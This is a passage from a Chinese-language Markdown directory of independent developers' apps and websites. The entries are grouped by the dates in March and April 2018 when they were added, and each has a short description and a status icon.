* :white_check_mark: [计划表](https://itunes.apple.com/cn/app/计划单/id1341198801?mt=8)：以简洁高效为目的的计划器 - [更多介绍](https://github.com/FinchFeng/MyPlanList)
### 2018年4月3号 & 4号添加
---
#### Derek-X-Wang - [GitHub](https://github.com/Derek-X-Wang)
* :white_check_mark: [attack-on-titans](https://github.com/Derek-X-Wang/attack-on-titans)：大公司电话面试模拟器 - [更多介绍](https://github.com/Derek-X-Wang/attack-on-titans/blob/master/README-zh.md)
#### KrisBobLea
* :white_check_mark: [米发 MFPad](http://www.mfpad.com)：专注于域名转发的服务商，维护了7年的平台，提供比 DNSPod、腾讯云更稳定的域名转发服务
### 2018年4月1号 & 2号添加
---
#### markmiao - [GitHub](https://github.com/mxdios), [博客](http://markmiao.com/)
* :white_check_mark: [排班](https://itunes.apple.com/cn/app/id1221228242?mt=8)：以日历为基础，设置早午晚夜班的iOS客户端 - [更多介绍](http://markmiao.com/2017/04/05/%E6%8E%92%E7%8F%AD/)
* :white_check_mark: [速记](https://itunes.apple.com/cn/app/id1263819789?mt=12)：工具栏快速记录文本，记录剪切板历史数据的macOS应用 - [更多介绍](http://markmiao.com/2017/07/26/stenonote/)
#### Victoria Raymond - [GitHub](https://github.com/v2ray), [博客](https://steemit.com/@v2ray)
* :white_check_mark: [V2Ray](https://github.com/v2ray/v2ray-core/)：一个网络代理工具，帮助你打造专属的定制网络体系 - [更多介绍](https://www.v2ray.com/)
#### 米小饭 - [Github](https://github.com/SoyaLeaf)
* :white_check_mark: [单纯的就是个日历](https://www.coolapk.com/apk/top.soyask.calendarii)：单纯的只是个日历，附带简单的记事功能
#### Steve Jrong - [Github](https://github.com/SteveJrong), [博客](https://www.stevejrong.top/)
* :x: [Steve Jrong's Blog UWP](https://www.stevejrong.top/download)：一款查看博主技术分享的UWP应用 - [更多介绍](https://www.microsoft.com/zh-cn/store/p/steve-jrongs-blog-uwp/9nblggh43jg6)
### 2018年3月31号添加
---
#### echosoar - [Github](https://github.com/echosoar), [博客](https://iam.gy)
* :white_check_mark: [Code Reader](https://cr.js.org)：在移动设备上舒服地阅读和批注 Github 代码
#### xiaohulu - [Github](https://github.com/xiaohulu/)
* :white_check_mark: [豆腐丁](https://doufuding.com/)：学习资料整理网站，可编写技术文档和翻译 GitHub 网站的文档项目
#### 张小刚哟 - [微博](https://weibo.com/u/3127372955)
* :white_check_mark: [WoodPecker](http://www.woodpeck.cn/cnindex)：让你在 Mac 上轻松、高效调试 iOS 应用 - [更多介绍](https://sspai.com/post/43527)
* :white_check_mark: [App 计划](https://itunes.apple.com/cn/app/app%E8%AE%A1%E5%88%92/id1158663523?mt=8)：一款可以定时打开其他 App 的 iOS 应用 - [更多介绍](https://sspai.com/post/43594)
#### sobbingman
* :white_check_mark: [Vue 资源精选](http://vue.awesometiny.com/)：Vue 精选组件分享, 手工精选出一百来个最优秀的组件库/独立组件
#### aisnote - [Github](https://github.com/aisnote)
* :white_check_mark: [PicZoomer](http://aisnote.com/2010/12/14/%E6%89%B9%E9%87%8F%E7%85%A7%E7%89%87%E7%BC%A9%E5%B0%8F%E5%B7%A5%E5%85%B7-%E6%97%A0%E9%9C%80%E4%BB%BB%E4%BD%95%E8%AE%BE%E7%BD%AE-%E5%82%BB%E7%93%9C%E6%93%8D%E4%BD%9C/)：批量照片缩小工具, 无需任何设置, 傻瓜操作
### 2018年3月29号 & 30号添加
---
#### toryzen - [Github](https://github.com/toryzen), [博客](http://www.toryzen.cn/)
* :white_check_mark: [SmartPing](http://smartping.org/)：一款开源、高效、便捷的网络质量监控神器！
#### djmpink - [Github](https://github.com/djmpink/TailLog), [博客](http://7player.cn/)
* :white_check_mark: [TailLog](http://taillog.cn/)：简单易用的实时日志管理工具 - [更多介绍](http://taillog.cn/)
#### Viggo - [博客](http://viggoz.com/)
* :white_check_mark: [Webstack](http://webstack.cc)：专注于收集国内外优秀的设计类网站 - [更多介绍](http://webstack.cc/cn/about.html)
#### lizhi - [GitHub](https://github.com/lizhi), [博客](http://www.yinlula.com)
* :white_check_mark: [引路啦](http://www.yinlula.com)：有意思的分享
#### Shane Qi - [GitHub](https://github.com/shaneqi), [博客](https://blog.shaneqi.com)
* :clock8: [Eastwatch](https://eastwatchapp.com)：可能是 iOS 平台上最美的、交互最友好的追剧 App
### 2018年3月27号 & 28号添加
---
#### 痕迹 - [GitHub](https://github.com/lijy91), [博客](https://www.jianshu.com/u/7f33d5b97f55)
* :white_check_mark: [佚览](https://itunes.apple.com/cn/app/%E4%BD%9A%E8%A7%88/id1358635224?mt=8)：基于 iOS 系统扩展的支持多种文件格式的预览应用 - [更多介绍](https://yilan.thecode.me)
#### cg200776
* :white_check_mark: [小黄条](http://www.6fcsj.com)：能嵌入 Windows 桌面的跨平台 Todolist，手机、PC 双向同步
#### 12points - [GitHub](https://github.com/yelluo/12points), [博客](http://yalluo.duapp.com/)
* :white_check_mark: [6/12/24点计算](https://github.com/yelluo/12points)：少儿益智练习，三个数得到6或12，或4个数得到24，可选题目难度
#### mzlogin - [GitHub](https://github.com/mzlogin)，[博客](http://mazhuang.org)
* :white_check_mark: [guanggoo-android](https://github.com/mzlogin/guanggoo-android)：光谷社区第三方 Android 客户端
#### Hongui - [Github](https://github.com/hongui)
* :clock8: [快传](https://github.com/hongui/FastAir)：用于短距离内点对点文件传输和聊天，无需网络 - [更多介绍](http://sj.qq.com/myapp/detail.htm?apkName=com.mob.lee.fastair)
### 2018年3月25号 & 26号添加
---
#### Jianqing - [GitHub](https://github.com/pjq), [博客](https://pjq.me)
* :clock8: [Smart Car on Raspberry Pi](https://github.com/pjq/rpi)：用来远程遛猫, 家居监控的智能小车
* :x: [Weather Station on Raspberry Pi](http://rpi.pjq.me/)：实时空气质量气象站 - [更多介绍](https://github.com/pjq/rpi#weather-station-demo)
#### Fengchang - [GitHub](https://github.com/fengchangfight)
* :white_check_mark: [家谱海](http://www.familytreesea.com)：可视化数字家谱，记录管理家庭亲戚关系以及历史人物关系建模
#### lzx2005 - [GitHub](https://github.com/lzx2005), [博客](https://lzx2005.com)
* :white_check_mark: [今天吃什么(WhatToEat)](https://github.com/lzx2005/WhatToEat)：一款治疗吃货选择恐惧症的微信小程序 - [更多介绍](https://github.com/lzx2005/WhatToEat)
#### Toy - [GitHub](https://github.com/xuxiaodong)，[博客](https://linuxtoy.org)
* :x: [Self-hosted Server](https://selfhostedserver.com)：自动化架设服务器，支持 AWS/GCE/Azure/DO/Linode/Vultr
#### zhangjh - [GitHub](https://github.com/zhangjh), [博客](http://zhangjh.me)
* :white_check_mark: [藏经阁](https://favlink.cn)：完全定制化的个人网址收藏 - [更多介绍](https://github.com/zhangjh/favLinksAdvise/blob/master/About.md)
#### Tang - [GitHub](https://github.com/tangqi92), [微博](http://weibo.com/qiktang)
* :white_check_mark: [Driki](https://itunes.apple.com/cn/app/id1238020177?mt=8)：在同质化的 Dribbble 客户端里做出差异化 - [更多介绍](http://drikiapp.github.io/)
### 2018年3月23号添加
---
#### AaronLiu - [GitHub](https://github.com/HFO4), [博客](https://aoaoao.me)
* :white_check_mark: [Cloudreve](https://cloudreve.org/)：支持多家云存储的云盘系统 - [更多介绍](https://github.com/HFO4/Cloudreve)
#### Damon - [GitHub](https://github.com/chaoming56), [博客](http://selfcoding.cn)
* :x: [ToFun](https://tofun.selfcoding.cn/)：极简匿名便签吐槽板&便签板 - [更多介绍](https://github.com/chaoming56/react_ToFun)
#### luckytianyiyan - [GitHub](https://github.com/luckytianyiyan), [博客](https://tyy.sh/)
* :white_check_mark: [识墨笔记](https://itunes.apple.com/us/app/id1222111073)：OCR 读书笔记工具, 支持导入 Kindle 笔记 - [更多介绍](https://sspai.com/post/40639)
* :x: [TyLauncher](http://www.tylauncher.com/)：文件 / 程序 快捷启动工具 - [更多介绍](https://github.com/luckytianyiyan/TyLauncher)
### 2018年3月22号添加
---
#### HansChen - [GitHub](https://github.com/shensky711), [博客](http://blog.hanschen.site/)
* :clock8: [Pretty-Zhihu](https://github.com/shensky711/Pretty-Zhihu)：针对知乎的看图神器，你懂的
* :clock8: [Run-With-You](https://github.com/shensky711/Run-With-You)：一个双人跑步应用，计步 & 双人跑步联动功能
#### Roogle - [GitHub](https://github.com/Moidea), [博客](https://www.moidea.info)
* :white_check_mark: [你好污啊](https://www.nihaowua.com)：一句话撩妹撩汉污句子
#### miaowing - [GitHub](https://github.com/miaowing), [博客](https://zfeng.net)
* :white_check_mark: [i5SING](http://i5sing.com)：中国原创音乐基地 5sing 第三方桌面客户端
#### ImbaQ - [GitHub](https://github.com/ImbaQ), [博客](http://www.wankeyun.cc/forum-12.htm)
* :white_check_mark: [开源链克口袋 - MyLinkToken](http://www.wankeyun.cc/thread-182.htm)：第一个可实现转账功能的第三方开源链克钱包 - [更多介绍](http://www.wankeyun.cc/forum-12.htm)
#### haijiao1945 - [GitHub](https://github.com/haijiao1945), [博客](http://www.xboxfan.com)
* :white_check_mark: [Xbox比价助手](http://www.xboxfan.com)：XboxOne 游戏机的跨服比价微信小程序
#### SVNBucket - [GitHub](https://github.com/winiex)
* :white_check_mark: [SVNBucket](http://svn.gzyunke.cn/)：免费 SVN 仓库，自认为是市面最好的，不限私有数量，不限成员数量
#### 糖伴西红柿 - [GitHub](https://github.com/gaowhen)
* :x: [viewpre.com](https://viewpre.com/)：Kindle 书摘管理
#### aizuyan - [GitHub](https://github.com/aizuyan)
* :white_check_mark: [GramTools](https://ritoyantools.github.io/)：跨平台工具收集（目前收集了json、diff工具）
### 2018年3月21号添加
---
#### Airing - [GitHub](https://github.com/airingursb), [博客](http://ursb.me)
- :white_check_mark: [四时](https://itunes.apple.com/us/app/%E5%9B%9B%E6%97%B6/id1272513774?l=zh&ls=1&mt=8)：闪亮亮的天气 App - [更多介绍](https://github.com/airingursb/4times-front-end)
- :white_check_mark: [双生](https://github.com/oh-bear/2life)：遇见另一半的美好（共享日记）
#### Arczzir - [GitHub](https://github.com/arczzir)
* :white_check_mark: [Jed](https://itunes.apple.com/cn/app/jed/id1234853584)：macOS 上的 JSON 文件编辑器 - [更多介绍](https://www.bilibili.com/video/av10147282/)
* :white_check_mark: [THZ](https://itunes.apple.com/cn/app/thz/id1353765033)：「收藏心仪的地点 ，管理得井井有条」限中国杭州
#### Drinking - [GitHub](https://github.com/drinking), [博客](http://drinking.github.io/)
* :white_check_mark: [饭起](https://itunes.apple.com/cn/app/%E9%A5%AD%E8%B5%B7-%E5%85%B3%E4%BA%8E%E9%A3%9F%E7%89%A9%E7%9A%84%E7%88%B1%E4%B8%8E%E6%95%85%E4%BA%8B/id1209331941?mt=8)：关于食物的爱与故事 - [更多介绍](http://fancymeet.com/)
#### Yuuta - [GitHub](https://github.com/Trumeet), [网站](https://yuuta.moe)
* :x: [Dir](https://coolapk.com/apk/kh.android.dir)：一个简单美观的 Android 垃圾清理工具，支持防止文件再生 - [更多介绍](https://dir.yuuta.moe/zh/)
#### 曦莫琅 - [GitHub](https://github.com/ximolang), [博客](http://www.txliang.com/)
* :x: [诗说社](http://shishuo.wesnice.com/)：一个文青、情怀人群的聚集地，原创诗词的发布平台
#### ruzhan123 - [GitHub](https://github.com/ruzhan123)
* :x: [Awaker](https://www.coolapk.com/apk/155953)：科幻，地理阅读杂志的 Android 应用 - [更多介绍](https://github.com/ruzhan123/awaker)
#### cwang22 - [GitHub](https://github.com/cwang22), [博客](https://seewang.me)
* :white_check_mark: [Buy All Steam Games](http://steam.seewang.me)：买下所有 Steam 游戏要多少钱？
#### santa - [GitHub](https://github.com/santa-cat)
* :x: [一天](https://fir.im/oneday)：24小时结识朋友的社交应用 (Android、iOS)
#### Caij - [GitHub](https://github.com/Caij)
* :x: [EMore](https://www.coolapk.com/apk/com.caij.emore)：轻量简单的第三方微博客户端
### 2018年3月20号添加
---
#### fujianjin6471
* :white_check_mark: [Memory Helper](https://itunes.apple.com/cn/app/memory-helper-zi-ding-yi-nei/id1113262919?l=en&mt=8)：科学复习，真正记住知识
#### DeweyReed - [GitHub](https://github.com/DeweyReed)
* :white_check_mark: [剪贴板守护](https://github.com/DeweyReed/ClipboardCleaner)：使用多种方式查看并清空剪贴板的开源 Android 应用
* :x: [权限图书馆](https://www.coolapk.com/apk/162565)：查看本设备的应用和安装包的权限的 Android 应用
* :x: [循环计时器](https://www.coolapk.com/apk/118705)：一次设置N个计时器，自动计时、自动通知的 Android 应用
* :white_check_mark: [计时机器](https://www.coolapk.com/apk/177033)：循环计时器加强版，更多的通知方式和计划任务
#### HyanCat - [GitHub](https://github.com/HyanCat), [博客](https://hyancat.com)
* :white_check_mark: [若古](https://www.ruogoo.cn)： 古风文学兴趣交流社区（网站和 App）- [更多介绍](https://www.ruogoo.cn/about)
#### luowei - [GitHub](https://github.com/luowei)
* :white_check_mark: [万能输入法](http://app.wodedata.com)：一个支持拼音、五笔、笔画、手写、特殊符号及动画表情的输入法
* :white_check_mark: [我的浏览器](http://app.wodedata.com/myapp/mybrowser.html)：一个支持截图导出 PDF 的可个性化的自定义浏览器 - [更多介绍](https://github.com/luowei/MyBrowser)
* :white_check_mark: [照片DIY](http://app.wodedata.com/myapp/photodiy.html)：一款可以对图片加滤镜、各种涂鸭、打码塞克、裁剪的 APP - [更多介绍](https://github.com/luowei/PhotoDIY)
* :white_check_mark: [斗图王](http://app.wodedata.com/myapp/gifemoji.html)：一个 GIF 斗图动画表情制作和搜索 APP，兼具斗图浏览器与斗图编辑器的功能
* :white_check_mark: [美图王](http://app.wodedata.com/myapp/mywallpaper.html)：一款高清的意向图和壁纸图片应用
* :white_check_mark: [Mark记事本](http://app.wodedata.com/myapp/mymarkdown.html)：一款 Markdown 记事本，支持从文本图片导入及导出 PDF
* :white_check_mark: [最强二维码](http://app.wodedata.com/myapp/qrcoderobot.html)：一个可以扫描二维码和生成自定义二维码的 App
#### aderm - [GitHub](https://github.com/aderm)
* :x: [如e定制](http://www.shangyuekeji.com)：个性化定制加工平台
#### TKkk - [GitHub](https://github.com/TKkk-iOSer)
* :white_check_mark: [WeChatPlugin-MacOS](https://github.com/TKkk-iOSer/WeChatPlugin-MacOS)：MacOS 微信小助手（可玩性很高，开源）
#### maomao1996（茂茂） - [GitHub](https://github.com/maomao1996)
* :x: [mmPlayer在线音乐播放器](http://music.mtnhao.com)：在线音乐播放器（基于Vue2）（PC） - [更多介绍](https://github.com/maomao1996/Vue-mmPlayer)
#### genru - [GitHub](https://github.com/genru)
* :x: [每日壹单](https://mryd.freeflarum.com)：每天推送10条最新外包兼职信息
#### SpongeBobSun - [GitHub](https://github.com/SpongeBobSun/)
* :white_check_mark: [Puff Password Manager](https://itunes.apple.com/cn/app/puff-password-manager-open-source-free/id1183663532?mt=8)：开源免费的离线密码管理器 - [更多介绍](https://puffopensource.github.io/)
* :white_check_mark: [Prodigal Music Player](https://itunes.apple.com/cn/app/prodigal-music-player/id1231296263?mt=8)：复刻经典 iPod 的音乐播放器 - [更多介绍](http://spongebobsun.github.io/Prodigal/)
#### Sing - [GitHub](https://github.com/asing1001), [博客](https://www.paddingleft.com)
* :white_check_mark: [MovieRater](https://www.mvrater.com)：集合Yahoo, Ptt, IMDB評分, 方便選片 - [更多介绍](https://github.com/Asing1001/movieRater.React)
#### Chars - [GitHub](https://github.com/charsdavy), [博客](http://chars.tech), [Twitter](https://twitter.com/charsdavy)
* :white_check_mark: [日本语社区](https://itunes.apple.com/cn/app/id1184113889)：日语学习资源，整合各种文本、音频和视频学习资料
* :white_check_mark: [今日账单](https://itunes.apple.com/cn/app/id1176787145)：帐单记录与数据分析，内含云备份功能，界面简洁清爽
* :white_check_mark: [Piclip](https://itunes.apple.com/cn/app/id1188174656)：即兴想起的一款九宫格切图软件，当然还有六、四等宫格布局
* :white_check_mark: [牛皮纸](https://itunes.apple.com/cn/app/id1346384976)： 一款阅读 GitHub 上 md 文档的工具，支持浏览远程 md 文档
* :white_check_mark: [ImageHosting for Mac](https://github.com/charsdavy/ImageHosting)：七牛云图床上载工具 (开源)
#### enzo-yang - [GitHub](https://github.com/enzo-yang)
* :white_check_mark: [集木](https://itunes.apple.com/cn/app/%E9%9B%86%E6%9C%A8/id1273031712?mt=8)：丰富的植物库以及拍照识别植物
#### miliPolo - [GitHub](https://github.com/miliPolo), [简书](https://www.jianshu.com/u/e9f2e9d46877)
* :white_check_mark: [记忆碎片](https://itunes.apple.com/cn/app/%E8%AE%B0%E5%BF%86%E7%A2%8E%E7%89%87-%E7%94%A8ar%E6%97%B6%E9%97%B4%E6%B5%81%E8%AE%B0%E5%BD%95%E7%94%9F%E6%B4%BB%E7%82%B9%E6%BB%B4/id1340767017?l=zh&ls=1&mt=8)：AR创意短视频APP，基本功能完成，后续功能还在开发中
* :clock8: [AR太阳系](https://github.com/miliPolo/ARSolarPlaySwift)：展示太阳系的运行
#### xx19941215 - [GitHub](https://github.com/xx19941215)
* :white_check_mark: [小时光倒数日](https://minapp.com/miniapp/2810/)：小时光倒数日，帮你铭记人生每一次的幸福时光
#### JY - [GitHub](https://github.com/jy1989)
* :white_check_mark: [狗狗大全](https://play.google.com/store/apps/details?id=com.cjy.DogCollection)：展示狗狗特性、概述、性格等，Android App
#### 钟颖 - [GitHub](https://github.com/cyanzhong/), [小专栏](https://xiaozhuanlan.com/devnotes), [微博](https://weibo.com/0x00eeee)
- :white_check_mark: [JSBox](https://itunes.apple.com/cn/app/id1312014438)：用 JavaScript 实现原生小工具 - [更多介绍](https://sspai.com/post/42361)
- :white_check_mark: [TodayMind](https://itunes.apple.com/cn/app/id1207158665)：提醒事项扩展小组件 - [更多介绍](https://sspai.com/post/37669)
- :white_check_mark: [小历](https://itunes.apple.com/cn/app/id1031088612)：日历扩展小组件 - [更多介绍](https://sspai.com/post/35440)
- :white_check_mark: [小历 for Mac](https://itunes.apple.com/cn/app/id1114272557)：日历扩展小组件
- :white_check_mark: [Pin](https://itunes.apple.com/cn/app/id1039643846)：剪贴板扩展工具，App Store 2016 年度应用 - [更多介绍](https://sspai.com/post/36484)
- :white_check_mark: [Pin for Mac](https://itunes.apple.com/cn/app/id1092997957)：剪贴板扩展工具
#### 张嘉夫 - [GitHub](https://github.com/josephchang10), [微博](https://weibo.com/2949394297)
* :white_check_mark: [生词本](https://itunes.apple.com/cn/app/生词本-智能背诵提醒/id1120027237?mt=8)：生词本 - 智能背诵提醒，让你记住所有查过的单词 - [更多介绍](https://itunes.apple.com/cn/app/生词本-智能背诵提醒/id1120027237?mt=8)
#### nicejade - [GitHub](https://github.com/nicejade/), [博客](https://jeffjade.com)
- :white_check_mark: [倾城之链](https://nicelinks.site/): 旨在云集全球优秀网站，方便你我探索互联网中更广阔的世界 - [更多介绍](https://jeffjade.com/2017/12/31/136-talk-about-nicelinks-site/)
#### wizyoung - [GitHub](https://github.com/wizyoung)
* :white_check_mark: [googletranslate.popclipext](https://github.com/wizyoung/googletranslate.popclipext)：一个 macOS 上的谷歌翻译 PopClip 扩展 - [更多介绍](https://github.com/wizyoung/googletranslate.popclipext)
#### LiuYue - [GitHub](https://github.com/hangxingliu)
* :white_check_mark: [steam-key-online-redeem](https://steamis.me)：Steam 游戏兑换码在线批量激活 - [更多介绍](https://github.com/hangxingliu/steam-key-online-redeem)
#### ApacheCN - [博客](http://www.apachecn.org/), [GitHub](https://github.com/apachecn)
* :white_check_mark: [MLIA](http://ml.apachecn.org/mlia/)：“机器学习实战”系列课程
#### Easy - [微博](https://weibo.com/easy), [GitHub](https://github.com/easychen)
* :white_check_mark:[TimeTodo](http://timetodo.ftqq.com/)：附带计时的Todo工具，支持Mac、Win和Web三个平台。还可以编写WebHook整合到工作流中
* :white_check_mark:[冷熊简历](http://cv.ftqq.com/)：在线 Markdown 简历工具，支持实时预览，一键 PDF。含常用片段，内容自动保存
* :white_check_mark:[方糖小剧场](https://github.com/easychen/h2reader-host)：可自行架设的对话体小说阅读器
* :white_check_mark:[Slide酱](http://slide.ftqq.com/)：PPT 自动演讲工具，根据 PPT 中的演讲者注释自动生成带语音的视频
* :white_check_mark:[福利单词](http://dict.ftqq.com/)：背单词，看妹子
#### SCLeo - [GitHub](https://github.com/SCLeoX)
* :white_check_mark: [pattern-finder](https://www.minegeck.net/lab/pf)：一个智能（zhang）的找规律程序 - [更多介绍](https://github.com/SCLeoX/pattern-finder)
* :white_check_mark: [Reload-Failure](https://scleox.github.io/Reload-Failure/index.html)：一个完全用 2d canvas 实现的伪 3D 躲避游戏 - [更多介绍](https://github.com/SCLeoX/Reload-Failure)
### 2018年3月19号添加
---
#### Molunerfinn - [GitHub](https://github.com/Molunerfinn)
* :white_check_mark: [PicGo](https://molunerfinn.com/PicGo)：跨平台的图床图片上传工具 - [更多介绍](https://github.com/Molunerfinn/PicGo)
* :white_check_mark: [node-github-profile-summary](https://gh-profile-summary.teamsz.xyz)：漂亮地生成你的GitHub总结的网站 - [更多介绍](https://github.com/Molunerfinn/node-github-profile-summary)
#### xu42 - [GitHub](http://github.com/xu42)
* :white_check_mark: [qrcode-chrome](https://chrome.google.com/webstore/detail/qr-code-generation/imabbihlfpmlpobbfhmliilagnjeoija)：生成当前页面二维码的极简 Chrome 插件 - [更多介绍](https://github.com/xu42/qrcode-chrome)
* :x: [个人即时收款方案](https://pay.xu42.cn/)：个人可用的即时收款解决方案 - [更多介绍](https://github.com/xu42/pay)
#### kujian - [博客](http://caibaojian.com/), [GitHub](http://github.com/kujian)
* :x: [码农头条](http://hao.caibaojian.com)：每日自动抓取开发者文章并推荐 - [更多介绍](http://hao.caibaojian.com/about)
* :x: [GitHub热榜](http://news.caibaojian.com)：每日自动抓取 GitHub 前端热门项目并推荐
#### Jack Cherng - [GitHub](https://github.com/jfcherng)
* :white_check_mark: [繁化姬](https://zhconvert.org)：一个强大的「繁简转换」与「本地化」工具 - [更多介绍](https://docs.zhconvert.org)
#### biezhi - [GitHub](https://github.com/biezhi)
* :x: [Findor](https://findor.me/)：分享你的个人社交信息
* :x: [开发者秘籍](https://dev-cheats.com/)：系统的开发者指南、教程
#### Caldis - [GitHub](https://github.com/Caldis)
* :x: [Mos](http://mos.u2sk.com/)：一个在 MacOS 上平滑鼠标滚动效果与单独设置滚动方向的小工具 - [更多介绍](https://github.com/Caldis/Mos)
#### neal1991 - [GitHub](https://github.com/neal1991)
* :x: [上海地铁线路图](https://neal1991.github.io/subway-shanghai)：上海地铁线路图，包括站点时刻表信息，卫生间信息，出入口信息，无障碍电梯信息
* :white_check_mark: [七牛云图床](https://chrome.google.com/webstore/detail/%E4%B8%83%E7%89%9B%E4%BA%91%E5%9B%BE%E5%BA%8A/fmpbbmjlniogoldpglopponaibclkjdg?utm_source=chrome-ntp-icon)：基于七牛云存储对象实现的私有图床 - [更多介绍](https://segmentfault.com/a/1190000013374209)
* :white_check_mark: [export-to-markdown](https://chrome.google.com/webstore/detail/export-to-markdown/dodkihcbgpjblncjahodbnlgkkflliim?utm_source=chrome-ntp-icon)：将博文转化成 Markdown 格式，目前支持 Medium 和 elastic 官博 - [更多介绍](https://segmentfault.com/a/1190000011324821)
* :white_check_mark: [去哪拍照片](http://ozfo4jjxb.bkt.clouddn.com/gh_900fd73a1fd0_258.jpg)：微信小程序，主要是上海市落户拍照地点，包括免费和收费两种
#### GitIssue - [GitHub](https://github.com/git-issue)
* :x: [GitIssue](https://gitissue.com): GitHub Issue 博客平台 - [更多介绍](https://gitissue.com/about)
#### Haocold - [GitHub](https://github.com/xjh093)
* :white_check_mark: [X_Wubi](https://itunes.apple.com/cn/app/X_Wubi/id1122043433)：简洁、轻盈，在游戏中学五笔
#### LiangLuDev - [GitHub](https://github.com/LiangLuDev/)
* :clock8: [微Yue](https://github.com/LiangLuDev/WeYueReader)：一个 Android 电子书阅读 App
#### jkpang - [GitHub](https://github.com/jkpang)
* :white_check_mark: [PPHub](https://itunes.apple.com/cn/app/PPHub%20For%20GitHub/id1314212521?mt=8)：一个简洁漂亮的 GitHub 客户端 - [更多介绍](https://github.com/jkpang/PPHub-Feedback)
#### gaolinjie - [GitHub](https://github.com/gaolinjie)
* :white_check_mark: [Love2.io](https://love2.io/)：一个优雅的开源技术文档分享平台 - [更多介绍](https://love2.io/@love2io/doc/hello-love2io)
#### Magic-fe - [GitHub](https://github.com/magic-FE)
* :white_check_mark: [翻译侠](https://chrome.google.com/webstore/detail/translate-man/fapgabkkfcaejckbfmfcdgnfefbmlion)：一款超棒的翻译插件（支持 Chrome + Firefox） - [更多介绍](https://github.com/magic-FE/translate-man)
#### Windson - [GitHub](https://github.com/Windsooon)
* :x: [Channelshunt](https://www.channelshunt.com/)：YouTube 频道推荐站
* :x: [Thank you, Open source](https://www.thankyouopensource.com/)：给开源项目的感谢信
* :white_check_mark: [OpenSource Jobs](https://www.osjobs.net/)：根据开源项目的贡献推荐工作
* :x: [EngineGo](https://www.enginego.org/)：计算机基础教程
#### yaoleifly - [GitHub](https://github.com/yaoleifly)
* :white_check_mark: [电子书支援计划](https://www.ebooksplan.org/)：一个以数字资源为核心的自我学习社群
* :white_check_mark: [扫地僧的橱柜](https://www.ebooksplan.club/)：支持 Kindle 内置浏览器的资源站
#### mw2c - [GitHub](https://github.com/mw2c)
* :white_check_mark: [吉他谱搜索](https://gtpso.com/)：一个分享、搜索和播放吉他谱的 App 和网站
* :white_check_mark: [Tab PlayAlong](https://playalong.gtpso.com/)：可以让你连接电吉他到手机，并使用效果器跟随吉他谱练习、演奏和录音的 iOS 应用
#### 小贝 - [GitHub](https://github.com/easyhappy/)
* :white_check_mark: [美股指南](https://investguider.com/)：美股、港股投资指南
#### H1ac0k - [博客](http://xrong.net)
* :x: [斗图啦](https://www.doutula.com)：斗图装逼必备
#### Tolecen - [博客](https://xinle.co/)
* :white_check_mark: [白描](https://itunes.apple.com/cn/app/id1249901692)：高效的文字识别与翻译软件 - [更多介绍](https://sspai.com/post/42065)
* :white_check_mark: [西江月](https://itunes.apple.com/cn/app/id1084924739)：遇见传统诗词之美 - [更多介绍](https://sspai.com/post/38786)
* :white_check_mark: [天天成语](https://itunes.apple.com/cn/app/id843601091)：简洁方便的离线成语词典 - [更多介绍](https://xinle.co/2016/05/26/chengyu/)
#### textproofreading - [GitHub](https://github.com/textproofreading/)
* :white_check_mark: [中文错别字纠错校对系统](http://www.CuoBieZi.net/)： 一个可以在线检测中文错别字的工具
#### hanks - [GitHub](https://github.com/hanks-zyh)
* :white_check_mark: [便签](https://www.coolapk.com/apk/xyz.hanks.note)：体积不足 2M，功能却全面到令人惊喜的 Android 便签应用 - [更多介绍](https://sspai.com/post/41323)
* :x: [氢应用](https://www.coolapk.com/apk/pub.hydrogen.android)：一款 Android 插件容器应用
#### CoderDwang - [GitHub](https://github.com/CoderDwang)
* :clock8: [MoreiTunesConnect_iOS](https://github.com/CoderDwang/MoreiTunesConnect_iOS)：允许多开的非苹果官方的 App 审核状态查询
#### coderyi - [GitHub](https://github.com/coderyi)
* :white_check_mark: [Monkey for GitHub](https://itunes.apple.com/cn/app/monkey-for-github/id1003765407)：以 GitHub 排名为主的 GitHub App，支持iOS/Android - [更多介绍](https://github.com/coderyi/Monkey)
#### bugulink - [GitHub](https://github.com/bugulink)
* :white_check_mark: [BuguLink](https://bugu.link)：一个快速安全的文件分享网站
#### Larry - [码力全开科技工作室](http://maliquankai.com)
* :white_check_mark: [MiniHour](https://itunes.apple.com/us/app/minihour/id1383208731?mt=8)：时刻关注你的目标时间 - [更多介绍](http://maliquankai.com/2018/05/24/2018-05-24-minihour-product/)
* :white_check_mark: [奇点日报](https://itunes.apple.com/us/app/wa-wa-yu-jian-hao-yin-le/id1223916908?l=zh&ls=1&mt=8)：高逼格程序员开发者技术分享平台
* :white_check_mark: [破壳日](https://itunes.apple.com/us/app/破壳日/id1267213085?l=zh&ls=1&mt=8)：精美的生日 · 节日 · 纪念日礼物提醒工具
* :white_check_mark: [壹日程](https://itunes.apple.com/us/app/壹日程-专注任务管理和待办计划提醒/id1251547470?l=zh&ls=1&mt=8)：专注任务管理和待办计划提醒
* :white_check_mark: [心动屋](https://itunes.apple.com/us/app/心动屋-发现令你心动的好物/id1234003952?l=zh&ls=1&mt=8)：发现令你心动的好物
* :white_check_mark: [口袋密码](https://itunes.apple.com/us/app/口袋密码-安全简洁的账号管家/id1256288406?l=zh&ls=1&mt=8)：安全简洁的账号管家
* :white_check_mark: [拾光记](https://itunes.apple.com/us/app/拾光记-拾起你走过的时光/id1247124599?l=zh&ls=1&mt=8)：拾起你走过的时光
#### lfb-cd - [GitHub](https://github.com/lfb-cd)
* :white_check_mark: [Net](https://itunes.apple.com/app/id1288011873)：网速展示流量统计工具
* :white_check_mark: [Net-Lite](https://itunes.apple.com/app/id1109807177)：精简版网速展示流量统计工具
* :white_check_mark: [晴天见](https://itunes.apple.com/app/id1231863233)：极简天气应用
* :white_check_mark: [Reminder](https://itunes.apple.com/app/id1258508583): 只有 1.5MB 的极简备忘 APP
#### cllgeek - [GitHub](https://github.com/cllgeek)
* :white_check_mark: [极客教程](https://www.geekjc.com)：一个提供学习编程资料的网站
#### CarGuo - [GitHub](https://github.com/CarGuo)
* :white_check_mark: [GSYGitHubAPP](https://www.pgyer.com/GSYGitHubApp)：高质量的 GitHub 客户端 - [更多介绍](https://github.com/CarGuo/GSYGitHubAPP)
#### biqinglin - [GitHub](https://github.com/biqinglin)
* :white_check_mark: [小私密](https://link.jianshu.com/?t=https://itunes.apple.com/us/app/小私密-匿名分享你的小私密/id1249902405?l=zh&ls=1&mt=8)：小私密，一款匿名分享你的小私密的轻社交应用 - [更多介绍](https://www.jianshu.com/p/4582c6f914eb)
* :white_check_mark: [App Store 全部作品](https://itunes.apple.com/cn/developer/qinglin-bi/id1228179246?l=en&mt=8)
#### Anynices
* :white_check_mark: [拼红包](https://www.pinghongbao.com)：外卖红包实时分享
